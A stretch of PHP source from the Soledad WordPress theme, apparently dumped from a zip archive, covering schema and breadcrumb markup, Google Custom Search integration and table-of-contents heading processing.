					unset( $schema_markup['image'] );

				} elseif ( 'audio' == $format ) {
					$schema_markup['@type'] = 'AudioObject';
					$audio                  = get_post_meta( $post_id, '_format_audio_embed', true );
					$audio_str              = substr( $audio, - 4 );

					if ( wp_oembed_get( $audio ) ) {

					} elseif ( $audio_str == '.mp3' ) {
						$schema_markup['contentUrl'] = esc_url( $audio );
					} else {
						$schema_markup['contentUrl'] = sanitize_text_field( $audio );
					}
				} elseif ( 'image' == $format ) {
					$schema_markup['@type'] = 'ImageObject';
				} elseif ( 'gallery' == $format ) {
					$schema_markup['@type'] = 'ImageObject';
				}
			}

			return $schema_markup;
		}

		public static function get_url_logo() {
			$logo = PENCI_SOLEDAD_URL . '/images/logo.png';
			if ( get_theme_mod( 'penci_logo' ) ) {
				$logo = get_theme_mod( 'penci_logo' );
			}
			if ( get_theme_mod( 'penci_logo_schema' ) ) {
				$logo = get_theme_mod( 'penci_logo_schema' );
			}

			return $logo;
		}

		public static function BreadcrumbList_data() {
			global $wp;

			$itemListElement = array();
			$items           = array();

			$items[] = array(
				'id'   => home_url(),
				'name' => penci_get_setting( 'penci_trans_home' ),
			);

			if ( is_home() && ! is_front_page() ) {
				$page    = get_option( 'page_for_posts' );
				$items[] = array(
					'id'   => get_permalink( $page ),
					'name' => get_the_title( $page ),
				);
			} elseif ( is_post_type_archive( 'portfolio' ) || is_tax( 'portfolio-category' ) ) {

				$current_term     = get_queried_object();
				$current_term_tax = isset( $current_term->taxonomy ) ? $current_term->taxonomy : '';
				$terms            = penci_get_term_parents( get_queried_object_id(), $current_term_tax );

				foreach ( (array) $terms as $term_id ) {
					$term    = get_term( $term_id, $current_term->taxonomy );
					$items[] = array(
						'id'   => get_category_link( $term_id ),
						'name' => $term->name,
					);
				}

				$current_term_label = isset( $current_term->label ) ? $current_term->label : $current_term->name;
				$current_term_id    = isset( $current_term->term_id ) ? $current_term->term_id : '';

				$items[] = array(
					'id'   => get_category_link( $current_term_id ),
					'name' => $current_term_label,
				);
			} elseif ( is_single() ) {

				// Terms
				$terms = get_the_terms( get_the_ID(), 'category' );

				if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
					$term    = penci_bread_primary_term( current( $terms ), 'category' );
					$terms   = penci_get_term_parents( $term->term_id, 'category' );
					$terms[] = $term->term_id;
					foreach ( $terms as $term_id ) {
						$term = get_term( $term_id, 'category' );
						if ( ! is_wp_error( $term ) && ! empty( $term ) ) {
							$items[] = array(
								'id'   => get_term_link( $term, 'category' ),
								'name' => $term->name,
							);
						}
					}
					$items[] = array(
						'id'   => get_permalink(),
						'name' => get_the_title(),
					);
				}
			} elseif ( is_page() ) {
				$pages = penci_get_post_parents( get_queried_object_id() );
				foreach ( $pages as $page ) {
					$items[] = array(
						'id'   => get_permalink( $page ),
						'name' => get_the_title( $page ),
					);
				}

				$items[] = array(
					'id'   => '',
					'name' => get_the_title(),
				);
			} elseif ( is_tax() || is_category() || is_tag() ) {
				$current_term = get_queried_object();
				$terms        = penci_get_term_parents( get_queried_object_id(), $current_term->taxonomy );

				foreach ( $terms as $term_id ) {
					$term = get_term( $term_id, $current_term->taxonomy );

					$items[] = array(
						'id'   => get_category_link( $term_id ),
						'name' => $term->name,
					);
				}

				$current_term_id = isset( $current_term->term_id ) ? $current_term->term_id : '';

				$items[] = array(
					'id'   => get_category_link( $current_term_id ),
					'name' => $current_term->name,
				);
			} elseif ( is_search() ) {
				$items[] = array(
					'id'   => get_search_link( get_search_query() ),
					'name' => sprintf( esc_html__( '%1$s &quot;%2$s&quot;', 'soledad' ), penci_get_setting( 'penci_trans_search' ), get_search_query() ),
				);
			} elseif ( is_404() ) {
				$items[] = array(
					'id'   => '',
					'name' => esc_html__( 'Not Found', 'soledad' ),
				);
			} elseif ( is_author() ) {
				$author_url = get_author_posts_url( get_the_author_meta( 'ID' ) );

				$items[] = array(
					'id'   => $author_url,
					'name' => sprintf(
						esc_html__( '%1$s %2$s', 'soledad' ),
						esc_html__( 'Author', 'soledad' ),
						'<span class="vcard"><a class="url fn n" href="' . $author_url . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>'
					),
				);
			} elseif ( is_day() ) {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'name' => sprintf( esc_html__( '%1$s %2$s', 'soledad' ), esc_html__( 'Day Archives:', 'soledad' ), get_the_date() ),
				);
			} elseif ( is_month() ) {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'name' => sprintf( esc_html__( '%1$s %2$s', 'soledad' ), esc_html__( 'Monthly Archives:', 'soledad' ), get_the_date( 'F Y' ) ),
				);
			} elseif ( is_year() ) {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'name' => sprintf( esc_html__( '%1$s %2$s', 'soledad' ), esc_html__( 'Yearly Archives:', 'soledad' ), get_the_date( 'Y' ) ),
				);
			} else {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'',
					'name' => penci_get_setting( 'penci_trans_archives' ),
				);
			}

			$pos_item = 1;
			foreach ( $items as $item ) {
				$itemListElement[] = array(
					'@type'    => 'ListItem',
					'position' => absint( $pos_item ),
					'item'     => array(
						'@id'  => $item['id'],
						'name' => $item['name'],
					),
				);

				// $itemListElement .= '{"@type": "ListItem","position": ' . absint( $pos_item ) . ',"item":{"@id": "' . $item['id'] . '","name": "' . $item['name'] . '"}}';
				++ $pos_item;
			}

			$output = array(
				'@context'        => 'https://schema.org/',
				'@type'           => 'BreadcrumbList',
				'itemListElement' => $itemListElement,
			);

			return $output;
		}
	}
}

new Penci_JSON_Schema_Validator();

/**
 * Gets parent posts' IDs of any post type, include current post
 * Modified from Hybrid Framework
 *
 * @param int|string $post_id ID of the post whose parents we want.
 *
 * @return array Array of parent posts' IDs.
 */
if ( ! function_exists( 'penci_get_post_parents' ) ) {
	function penci_get_post_parents( $post_id = '' ) {
		// Set up some default array.
		$list = array();

		// If no post ID is given, return an empty array.
		if ( empty( $post_id ) ) {
			return $list;
		}

		do {
			$list[] = $post_id;

			// Get next parent post
			$post    = get_post( $post_id );
			$post_id = $post->post_parent;
		} while ( $post_id );

		// Reverse the array to put them in the proper order for the trail.
		$list = array_reverse( $list );
		array_pop( $list );

		return $list;
	}
}

if ( ! function_exists( 'penci_bread_primary_term' ) ) {

	function penci_bread_primary_term( $term, $taxonomy ) {
		if ( class_exists( 'WPSEO_Primary_Term' ) ) {
			$wpseo_primary_term = new WPSEO_Primary_Term( $taxonomy, get_the_id() );
			$wpseo_primary_term = $wpseo_primary_term->get_primary_term();
			$primary_term       = get_term( $wpseo_primary_term );

			if ( ! is_wp_error( $primary_term ) ) {
				$term = $primary_term;
			}
		}

		return $term;
	}
}

/**
 * Searches for term parents' IDs of hierarchical taxonomies, including current term.
 * This function is similar to the WordPress function get_category_parents() but handles any type of taxonomy.
 * Modified from Hybrid Framework
 *
 * @param int|string $term_id The term ID
 * @param object|string $taxonomy The taxonomy of the term whose parents we want.
 *
 * @return array Array of parent terms' IDs.
 */
if ( ! function_exists( 'penci_get_term_parents' ) ) {
	function penci_get_term_parents( $term_id = '', $taxonomy = 'category' ) {
		// Set up some default arrays.
		$list = array();

		// If no term ID or taxonomy is given, return an empty array.
		if ( empty( $term_id ) || empty( $taxonomy ) ) {
			return $list;
		}

		do {
			$list[] = $term_id;

			// Get next parent term
			$term    = get_term( $term_id, $taxonomy );
			$term_id = $term->parent;
		} while ( $term_id );

		// Reverse the array to put them in the proper order for the trail.
		$list = array_reverse( $list );
		array_pop( $list );

		return $list;
	}
}
PK     2w\\k
      google_search.phpnu [        <?php
if ( ! class_exists( 'Penci_Google_Search' ) ) {

	class Penci_Google_Search {
		function __construct() {

			if ( ! get_theme_mod( 'penci_gsr_enable' ) ) {
				return false;
			}

			global $wp;

			$wp->add_query_var( 'q' );
			$wp->remove_query_var( 's' );

			add_action( 'init', array( $this, 'init' ), 0 );
			add_filter( 'template_include', [ $this, 'search_result_page' ], 99 );
			add_filter( 'request', [ $this, 'request' ] );
			add_filter( 'template_redirect', [ $this, 'fix_search_url' ] );
		}

		public function fix_search_url() {
			if ( isset( $_REQUEST['s'] ) && $_REQUEST['s'] ) {
				wp_redirect( home_url( '/' ) . '?q=' . esc_attr( $_REQUEST['s'] ) );
				die;
			}
		}

		public function request( $request ) {
			if ( isset( $_REQUEST['q'] ) ) {
				$request['s'] = $_REQUEST['q'];
			}

			return $request;
		}

		public function init() {

			wp_enqueue_script(
				'google_cse_v2',
				PENCI_SOLEDAD_URL . '/js/google_cse_v2.js',
				array( // dependencies
				),
				1.0,
				true
			);

			$script_params = array(
				'google_search_engine_id' => get_theme_mod( 'penci_gsr_id' )
			);

			wp_localize_script( 'google_cse_v2', 'scriptParams', $script_params );

		}

		public function search_result_page( $template ) {
			if ( is_search() && ! is_admin() ) {
				$template = locate_template( array( 'inc/templates/google_search_result.php' ) );
			}

			return $template;
		}
	}
}

new Penci_Google_Search;PK     2w\=      toc/helper_new.phpnu [        <?php
if ( ! function_exists( 'penci_toc_wp_strip_all_tags' ) ) {
	function penci_toc_wp_strip_all_tags( $text, $remove_breaks = false ) {

		if ( is_null( $text ) ) {
			return '';
		}

		if ( ! is_scalar( $text ) ) {
			/*
			 * To maintain consistency with pre-PHP 8 error levels,
			 * wp_trigger_error() is used to trigger an E_USER_WARNING,
			 * rather than _doing_it_wrong(), which triggers an E_USER_NOTICE.
			 */
			wp_trigger_error(
				'',
				sprintf(
				/* translators: 1: The function name, 2: The argument number, 3: The argument name, 4: The expected type, 5: The provided type. */
					__( 'Warning: %1$s expects parameter %2$s (%3$s) to be a %4$s, %5$s given.' ),
					__FUNCTION__,
					'#1',
					'$text',
					'string',
					gettype( $text )
				),
				E_USER_WARNING
			);

			return '';
		}

		$text = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $text );
		$text = strip_tags( $text, apply_filters( 'penci_toc_allowable_tags', '' ) );

		if ( $remove_breaks ) {
			$text = preg_replace( '/[\r\n\t ]+/', ' ', $text );
		}

		return trim( $text );
	}
}
if ( ! function_exists( 'insertElementByImgTag' ) ) {
	function insertElementByImgTag( $content, $toc ) {
		$find    = array( '</figure>' );
		$replace = array( '</figure>' . $toc );

		return mb_find_replace( $find, $replace, $content );
	}
}
if ( ! function_exists( 'insertElementByPTag' ) ) {
	function insertElementByPTag( $content, $toc ) {
		$find    = array( '</p>' );
		$replace = array( '</p>' . $toc );

		return mb_find_replace( $find, $replace, $content );
	}
}
if ( ! function_exists( 'penci_toc_auto_device_target_status' ) ) {
	function penci_toc_auto_device_target_status() {
		$status = true;
		if ( get_theme_mod( 'penci_toc_device_target' ) == 'mobile' ) {
			if ( function_exists( 'wp_is_mobile' ) && wp_is_mobile() ) {
				$status = true;
			} else {
				$status = false;
			}
		}
		if ( get_theme_mod( 'penci_toc_device_target' ) == 'desktop' ) {
			if ( function_exists( 'wp_is_mobile' ) && wp_is_mobile() ) {
				$status = false;
			} else {
				$status = true;
			}
		}

		return $status;
	}
}
if ( ! function_exists( 'penci_toc_para_blockquote_replace' ) ) {
	function penci_toc_para_blockquote_replace( $blockquotes, $content, $step ) {
		$bId = 0;
		if ( $step == 1 ) {
			foreach ( $blockquotes[0] as $blockquote ) {
				$replace = '#pencitocbq' . $bId . '#';
				$content = str_replace( trim( $blockquote ), $replace, $content );
				$bId ++;
			}
		} elseif ( $step == 2 ) {
			foreach ( $blockquotes[0] as $blockquote ) {
				$search  = '#pencitocbq' . $bId . '#';
				$content = str_replace( $search, trim( $blockquote ), $content );
				$bId ++;
			}
		}

		return $content;
	}
}
if ( ! function_exists( 'mb_find_replace' ) ) {
	function mb_find_replace( &$find = false, &$replace = false, &$string = '' ) {

		if ( is_array( $find ) && is_array( $replace ) && $string ) {

			// check if multibyte strings are supported
			if ( function_exists( 'mb_strpos' ) ) {


				for ( $i = 0; $i < count( $find ); $i ++ ) {

					$needle = $find[ $i ];
					$start  = mb_strpos( $string, $needle );

					// If heading can not be found, let try decoding entities to see if it can be found.
					if ( false === $start ) {

						$needle = html_entity_decode(
							$needle,
							ENT_QUOTES,
							get_option( 'blog_charset' )
						);

						$umlauts = false;
						$umlauts = apply_filters( 'pencitoc_modify_umlauts', $umlauts );
						if ( $umlauts ) {
							$string = html_entity_decode(
								$string,
								ENT_QUOTES,
								get_option( 'blog_charset' )
							);
						}

						$needle = str_replace( array( '’', '“', '”' ), array( '\'', '"', '"' ), $needle );

						$start = mb_strpos( $string, $needle );
					}

					/*
					 * `mb_strpos()` can return `false`. Only process `mb_substr_replace()` if position in string is found.
					 */
					if ( is_int( $start ) ) {

						$length             = mb_strlen( $needle );
						$apply_new_function = apply_filters( 'pencitoc_mb_subtr_replace', false, $string, $replace[ $i ], $start, $length );
						$string             = $apply_new_function ? $apply_new_function : mb_substr_replace( $string, $replace[ $i ], $start, $length );
					}

				}

			} else {

				for ( $i = 0; $i < count( $find ); $i ++ ) {

					$start  = strpos( $string, $find[ $i ] );
					$length = strlen( $find[ $i ] );

					/*
					 * `strpos()` can return `false`. Only process `substr_replace()` if position in string is found.
					 */
					if ( is_int( $start ) ) {

						$string = substr_replace( $string, $replace[ $i ], $start, $length );
					}
				}
			}
		}

		return $string;
	}
}
if ( ! function_exists( 'mb_substr_replace' ) ) {
	function mb_substr_replace( $string, $replacement, $start, $length = null ) {

		if ( is_array( $string ) ) {

			$num = count( $string );

			// $replacement
			$replacement = is_array( $replacement ) ? array_slice( $replacement, 0, $num ) : array_pad( array( $replacement ), $num, $replacement );

			// $start
			if ( is_array( $start ) ) {
				$start = array_slice( $start, 0, $num );
				foreach ( $start as $key => $value ) {
					$start[ $key ] = is_int( $value ) ? $value : 0;
				}
			} else {
				$start = array_pad( array( $start ), $num, $start );
			}

			// $length
			if ( ! isset( $length ) ) {
				$length = array_fill( 0, $num, 0 );
			} elseif ( is_array( $length ) ) {
				$length = array_slice( $length, 0, $num );
				foreach ( $length as $key => $value ) {
					$length[ $key ] = isset( $value ) ? ( is_int( $value ) ? $value : $num ) : 0;
				}
			} else {
				$length = array_pad( array( $length ), $num, $length );
			}

			// Recursive call
			return array_map( __FUNCTION__, $string, $replacement, $start, $length );
		}

		preg_match_all( '/./us', (string) $string, $smatches );
		preg_match_all( '/./us', (string) $replacement, $rmatches );

		if ( $length === null ) {

			$length = mb_strlen( $string );
		}

		array_splice( $smatches[0], $start, $length, $rmatches[0] );

		return join( $smatches[0] );
	}
}PK     2w\h}  }    toc/progress.phpnu [        <?php

use function Soledad\Table_Of_Contents\String\br2;

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class SoledadToc_Post {

	private $queriedObjectID;
	private $post;
	private $permalink;
	private $pages = array();
	private $headingLevels = array();
	private $excludedNodes = array();
	private $collision_collector = array();
	private $hasTOCItems = false;

	public function __construct( WP_Post $post, $apply_content_filter = true ) {

		$this->post            = $post;
		$this->permalink       = get_permalink( $post );
		$this->queriedObjectID = get_queried_object_id();

		$apply_content_filter = $this->apply_filter_status( $apply_content_filter );

		if ( $apply_content_filter ) {

			$this->applyContentFilter()->process();
		} else {

			$this->process();
		}
	}

	private function apply_filter_status( $apply_content_filter ) {
		$plugins = apply_filters(
			'penci_toc_apply_filter_status',
			array(
				'booster-extension/booster-extension.php',
				'divi-bodycommerce/divi-bodyshop-woocommerce.php',
				'social-pug/index.php',
				'modern-footnotes/modern-footnotes.php',
				'yet-another-stars-rating-premium/yet-another-stars-rating.php'
			)
		);

		foreach ( $plugins as $value ) {
			if ( in_array( $value, apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
				$apply_content_filter = false;
			}
		}

		$apply_content_filter = apply_filters( 'penci_toc_apply_filter_status_manually', $apply_content_filter );
		global $pencitoc_disable_the_content;
		if ( $pencitoc_disable_the_content ) {
			$apply_content_filter         = false;
			$pencitoc_disable_the_content = false;
		}

		return $apply_content_filter;
	}

	public static function get( $id ) {

		$post = get_post( $id );

		if ( ! $post instanceof WP_Post ) {

			return null;
		}

		return new static( $post );
	}

	private function process() {

		$this->processPages();

		return $this;
	}

	private function applyContentFilter() {

		/*
		 * Parses dynamic blocks out of post_content and re-renders them for gutenberg blocks.
		 */
		if ( function_exists( 'do_blocks' ) ) {
			$this->post->post_content = do_blocks( $this->post->post_content );
		} else {
			$this->post->post_content = $this->post->post_content;
		}

		add_filter( 'strip_shortcodes_tagnames', array( __CLASS__, 'stripShortcodes' ), 10, 2 );

		/*
		 * Ensure the PenciTOC content filter is not applied when running `the_content` filter.
		 */
		remove_filter( 'the_content', array( 'PenciTOC', 'the_content' ), 100 );

		$enable_memory_fix = get_option( 'penci_toc_enable_memory_fix' );
		if ( $enable_memory_fix ) {
			$this->post->post_content = $this->stripShortcodesButKeepContent( $this->post->post_content );
		}

		$this->post->post_content = apply_filters( 'the_content', strip_shortcodes( $this->post->post_content ) );

		add_filter( 'the_content', array(
			'PenciTOC',
			'the_content'
		), 100 );  // increased  priority to fix other plugin filter overwriting our changes

		remove_filter( 'strip_shortcodes_tagnames', array( __CLASS__, 'stripShortcodes' ) );

		return $this;
	}

	public static function stripShortcodes( $tags_to_remove, $content ) {

		/*
		 * Ensure the PenciTOC shortcodes are not processed when applying `the_content` filter
		 * otherwise an infinite loop may occur.
		 */
		$tags_to_remove = apply_filters(
			'penci_toc_strip_shortcodes_tagnames',
			array(
				'penci-toc',
				'penci-toc-widget-sticky',
				apply_filters( 'penci_toc_shortcode', 'toc' ),
			),
			$content
		);

		return $tags_to_remove;
	}

	protected function getCurrentPage() {

		global $wp_query;

		// Check to see if the global `$wp_query` var is an instance of WP_Query and that the get() method is callable.
		// If it is then when can simply use the get_query_var() function.
		if ( $wp_query instanceof WP_Query && is_callable( array( $wp_query, 'get' ) ) ) {

			$page = get_query_var( 'page', 1 );

			return 1 > $page ? 1 : $page;

			// If a theme or plugin broke the global `$wp_query` var, check to see if the $var was parsed and saved in $GLOBALS['wp_query']->query_vars.
		} elseif ( isset( $GLOBALS['wp_query']->query_vars['page'] ) ) {

			return $GLOBALS['wp_query']->query_vars['page'];

			// We should not reach this, but if we do, lets check the original parsed query vars in $GLOBALS['wp_the_query']->query_vars.
		} elseif ( isset( $GLOBALS['wp_the_query']->query_vars['page'] ) ) {

			return $GLOBALS['wp_the_query']->query_vars['page'];

			// Ok, if all else fails, check the $_REQUEST super global.
			//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason : Nonce verification is not required here.
		} elseif ( isset( $_REQUEST['page'] ) ) {
			//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason : Nonce verification is not required here.
			return $_REQUEST['page'];
		}

		// Finally, return the $default if it was supplied.
		return 1;
	}

	protected function getNumberOfPages() {

		return count( $this->pages );
	}

	protected function isMultipage() {

		return 1 < $this->getNumberOfPages();
	}

	private function processPages() {

		$content = apply_filters( 'penci_toc_modify_process_page_content', $this->post->post_content );

		// Fix for wordpress category pages showing wrong toc if they have description
		if ( is_category() ) {
			$cat_from_query = get_query_var( 'cat', null );
			if ( $cat_from_query ) {
				$category = get_category( $cat_from_query );
				if ( is_object( $category ) && property_exists( $category, 'description' ) && ! empty( $category->description ) ) {
					$content = $category->description;
				}
			}
		}

		if ( is_tax() || is_tag() ) {
			global $wp_query;
			$tax = $wp_query->get_queried_object();
			if ( is_object( $tax ) ) {
				$content = apply_filters( 'penci_toc_modify_taxonomy_content', $tax->description, $tax->term_id );
			}
		}

		if ( function_exists( 'is_product_category' ) && is_product_category() ) {
			$term_object = get_queried_object();
			if ( ! empty( $term_object->description ) ) {
				$content = $term_object->description;
			}
		}

		if ( in_array( 'js_composer_salient/js_composer.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {

			$pencitoc_post_id   = get_the_ID();
			$pencitoc_post_meta = get_option( 'penci-toc-post-meta-content', false );

			if ( ! empty( $pencitoc_post_meta ) && ! empty( $pencitoc_post_id ) && isset( $pencitoc_post_meta[ $pencitoc_post_id ] ) ) {

				if ( empty( $content ) ) {

					$content = $pencitoc_post_meta[ $pencitoc_post_id ];

				} else {

					$content .= $pencitoc_post_meta[ $pencitoc_post_id ];

				}
			}
		}

		$pages = array();

		$split = preg_split( '/<!--nextpage-->/msuU', $content );

		$page          = $first_page = 1;
		$totalHeadings = [];

		if ( is_array( $split ) ) {

			foreach ( $split as $content ) {

				$this->extractExcludedNodes( $page, $content );

				$totalHeadings[] = array(
					'headings' => $this->extractHeadings( $content, $page ),
					'content'  => $content,
				);

				$page ++;
			}

		}
		$pages[ $first_page ] = $totalHeadings;

		$this->pages = $pages;
	}

	public function getPages() {

		return $this->pages;
	}

	private function extractExcludedNodes( $page, $content ) {

		if ( ! class_exists( 'TagFilter' ) ) {
			require_once( PENCI_SOLEDAD_DIR . '/inc/toc/tag_filter.php' );
		}

		$tagFilterOptions = TagFilter::GetHTMLOptions();

		// Set custom TagFilter options.
		$tagFilterOptions['charset'] = get_option( 'blog_charset' );

		$html = TagFilter::Explode( $content, $tagFilterOptions );

		/**
		 * @param $selectors array  Array of classes/id selector to exclude from TOC.
		 * @param $content   string Post content.
		 *
		 * @since 2.0
		 *
		 */
		$selectors = apply_filters( 'penci_toc_exclude_by_selector', array( '.penci-toc-exclude-headings' ), $content );
		$selectors = ! is_array( $selectors ) ? [] : $selectors; // In case we get string instead of array
		$nodes     = $html->Find( implode( ',', $selectors ) );
		if ( isset( $nodes['ids'] ) ) {
			foreach ( $nodes['ids'] as $id ) {

				array_push( $this->excludedNodes, $html->Implode( $id, $tagFilterOptions ) );
			}
		}

		/**
		 * TagFilter::Implode() writes br tags as `<br>` while WP normalizes to `<br />`.
		 * Normalize `$eligibleContent` to match WP.
		 *
		 * @see wpautop()
		 */
	}

	private function extractHeadings( $content, $page = 1 ) {

		$matches = array();

		if ( in_array( 'elementor/elementor.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || in_array( 'divi-machine/divi-machine.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || 'Fortunato Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) || function_exists( 'koyfin_setup' ) ) {
			$content = apply_filters( 'penci_toc_extract_headings_content', $content );
		} else {
			$content = apply_filters( 'penci_toc_extract_headings_content', wptexturize( $content ) );
		}

		/**
		 * Lasso Product Compatibility
		 * @since 2.0.46
		 */
		$regEx = apply_filters( 'penci_toc_regex_filteration', '/(<h([1-6]{1})[^>]*>)(.*)<\/h\2>/msuU' );

		// get all headings
		// the html spec allows for a maximum of 6 heading depths
		if ( preg_match_all( $regEx, $content, $matches, PREG_SET_ORDER ) ) {

			$minimum = absint( get_theme_mod( 'penci_toc_start', 3 ) );

			$this->removeHeadingsFromExcludedNodes( $matches );
			$this->removeHeadings( $matches );
			$this->excludeHeadings( $matches );
			$this->removeEmptyHeadings( $matches );

			if ( count( $matches ) >= $minimum ) {

				$this->headingIDs( $matches );
				$this->addPage( $matches, $page );
				$this->hasTOCItems = true;

			} else {

				return array();
			}

		}

		return array_values( $matches ); // Rest the array index.
	}

	private function addPage( &$matches, $page ) {
		foreach ( $matches as $i => $match ) {
			$matches[ $i ]['page'] = $page;
		}

		return $matches;
	}

	private function inExcludedNode( $string ) {

		foreach ( $this->excludedNodes as $node ) {

			if ( empty( $node ) || empty( $string ) ) {

				return false;
			}

			if ( false !== strpos( $node, $string ) ) {

				return true;
			}
		}

		return false;
	}

	private function removeHeadingsFromExcludedNodes( &$matches ) {

		foreach ( $matches as $i => $match ) {

			$match[3] = apply_filters( 'penci_toc_filter_headings_from_exclude_nodes', $match[3] );

			if ( $this->inExcludedNode( "{$match[3]}</h$match[2]>" ) ) {

				unset( $matches[ $i ] );
			}
		}

		return $matches;
	}

	private function getHeadingLevels() {

		$levels = get_theme_mod( 'penci_toc_heading_levels', array( '2', '3', '4', '5', '6' ) );

		$this->headingLevels = $levels;

		return $this->headingLevels;
	}

	private function removeHeadings( &$matches ) {

		$levels = $this->getHeadingLevels();

		if ( count( $levels ) != 6 ) {

			$new_matches = array();

			foreach ( $matches as $i => $match ) {

				if ( in_array( $matches[ $i ][2], $levels ) ) {

					$new_matches[ $i ] = $matches[ $i ];
				}
			}

			$matches = $new_matches;
		}

		return $matches;
	}

	private function excludeHeadings( &$matches ) {

		$exclude = get_theme_mod( 'penci_toc_exclude', '' );

		if ( $exclude ) {

			$excluded_headings = explode( '|', $exclude );
			$excluded_count    = count( $excluded_headings );

			if ( $excluded_count > 0 ) {

				for ( $j = 0; $j < $excluded_count; $j ++ ) {

					$excluded_headings[ $j ] = preg_quote( $excluded_headings[ $j ] );

					// escape some regular expression characters
					// others: http://www.php.net/manual/en/regexp.reference.meta.php
					$excluded_headings[ $j ] = str_replace(
						array( '\*', '/', '%' ),
						array( '.*', '\/', '\%' ),
						trim( $excluded_headings[ $j ] )
					);
				}

				$new_matches = array();

				foreach ( $matches as $i => $match ) {

					$found = false;

					$against = html_entity_decode(
						( in_array( 'divi-machine/divi-machine.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || 'Fortunato Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) ? wp_strip_all_tags( str_replace( array(
							"\r",
							"\n"
						), ' ', $matches[ $i ][0] ) ) : wptexturize( wp_strip_all_tags( str_replace( array(
							"\r",
							"\n"
						), ' ', $matches[ $i ][0] ) ) ),
						ENT_NOQUOTES,
						get_option( 'blog_charset' )
					);

					for ( $j = 0; $j < $excluded_count; $j ++ ) {

						// Since WP manipulates the post content it is required that the excluded header and
						// the actual header be manipulated similarly so a match can be made.
						$pattern = html_entity_decode(
							( in_array( 'divi-machine/divi-machine.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || 'Fortunato Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) ? $excluded_headings[ $j ] : wptexturize( $excluded_headings[ $j ] ),
							ENT_NOQUOTES,
							get_option( 'blog_charset' )
						);
						$against = trim( $against );
						if ( preg_match( '/^' . $pattern . '$/imU', $against ) ) {

							$found = true;
							break;
						}
					}

					if ( ! $found ) {

						$new_matches[ $i ] = $matches[ $i ];
					}
				}

				$matches = $new_matches;
			}
		}

		return $matches;
	}

	private function headingIDs( &$matches ) {

		foreach ( $matches as $i => $match ) {

			$matches[ $i ]['id'] = $this->generateHeadingIDFromTitle( $matches[ $i ][0] );
		}

		return $matches;
	}

	private function generateHeadingIDFromTitle( $heading ) {

		$return = false;

		if ( $heading ) {
			$heading = apply_filters( 'penci_toc_url_anchor_target_before', $heading );
			// WP entity encodes the post content.
			$return = html_entity_decode( $heading, ENT_QUOTES, get_option( 'blog_charset' ) );
			$return = br2( $return, ' ' );
			$return = trim( wp_strip_all_tags( $return ) );

			// Convert accented characters to ASCII.
			$return = remove_accents( $return );

			// replace newlines with spaces (eg when headings are split over multiple lines)
			$return = str_replace( array( "\r", "\n", "\n\r", "\r\n" ), ' ', $return );

			// Remove `&amp;` and `&nbsp;` NOTE: in order to strip "hidden" `&nbsp;`,
			// title needs to be converted to HTML entities.
			// @link https://stackoverflow.com/a/21801444/5351316
			$return = htmlentities2( $return );
			$return = str_replace( array( '&amp;', '&nbsp;' ), ' ', $return );
			$return = str_replace( array( '&shy;' ), '', $return );                    // removed silent hypen
			$return = html_entity_decode( $return, ENT_QUOTES, get_option( 'blog_charset' ) );

			// remove non alphanumeric chars
			$return = preg_replace( '/[\x00-\x1F\x7F]*/u', '', $return );

			//for procesing shortcode in headings
			$return = apply_filters( 'penci_toc_table_heading_title_anchor', $return );
			// Reserved Characters.
			// * ' ( ) ; : @ & = + $ , / ? # [ ]
			$return = str_replace(
				array( '*', '\'', '(', ')', ';', '@', '&', '=', '+', '$', ',', '/', '?', '#', '[', ']' ),
				'',
				$return
			);

			// Unsafe Characters.
			// % { } | \ ^ ~ [ ] `
			$return = str_replace(
				array( '%', '{', '}', '|', '\\', '^', '~', '[', ']', '`' ),
				'',
				$return
			);

			// Special Characters.
			// $ - _ . + ! * ' ( ) ,
			// Special case for Apostrophes (’) which is causing TOC link to break in Block themes and CM Tooltip Glossary plugin #556
			$return = str_replace(
				array( '$', '.', '+', '!', '*', '\'', '(', ')', ',', '’' ),
				'',
				$return
			);

			// Dashes
			// Special Characters.
			// - (minus) - (dash) â€“ (en dash) â€” (em dash)
			$return = str_replace(
				array( '-', '-', 'â€“', 'â€”' ),
				'-',
				$return
			);

			// Curley quotes.
			// â€˜ (curly single open quote) â€™ (curly single close quote) â€œ (curly double open quote) â€ (curly double close quote)
			$return = str_replace(
				array( 'â€˜', 'â€™', 'â€œ', 'â€' ),
				'',
				$return
			);

			// AMP/Caching plugins seems to break URL with the following characters, so lets replace them.
			$return = str_replace( array( ':' ), '_', $return );

			// Convert space characters to an `_` (underscore).
			$return = preg_replace( '/\s+/', '_', $return );

			// Replace multiple `-` (hyphen) with a single `-` (hyphen).
			$return = preg_replace( '/-+/', '-', $return );

			// Replace multiple `_` (underscore) with a single `_` (underscore).
			$return = preg_replace( '/_+/', '_', $return );

			// Remove trailing `-` (hyphen) and `_` (underscore).
			$return = rtrim( $return, '-_' );

			/*
			 * Encode URI based on ECMA-262.
			 *
			 * Only required to support the jQuery smoothScroll library.
			 *
			 * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI#Description
			 * @link https://stackoverflow.com/a/19858404/5351316
			 */
			$return = preg_replace_callback(
				"{[^0-9a-z_.!~*'();,/?:@&=+$#-]}i",
				function ( $m ) {

					return sprintf( '%%%02X', ord( $m[0] ) );
				},
				$return
			);

			// lowercase everything?
			if ( get_theme_mod( 'penci_toc_lowercase' ) ) {

				$return = strtolower( $return );
			}

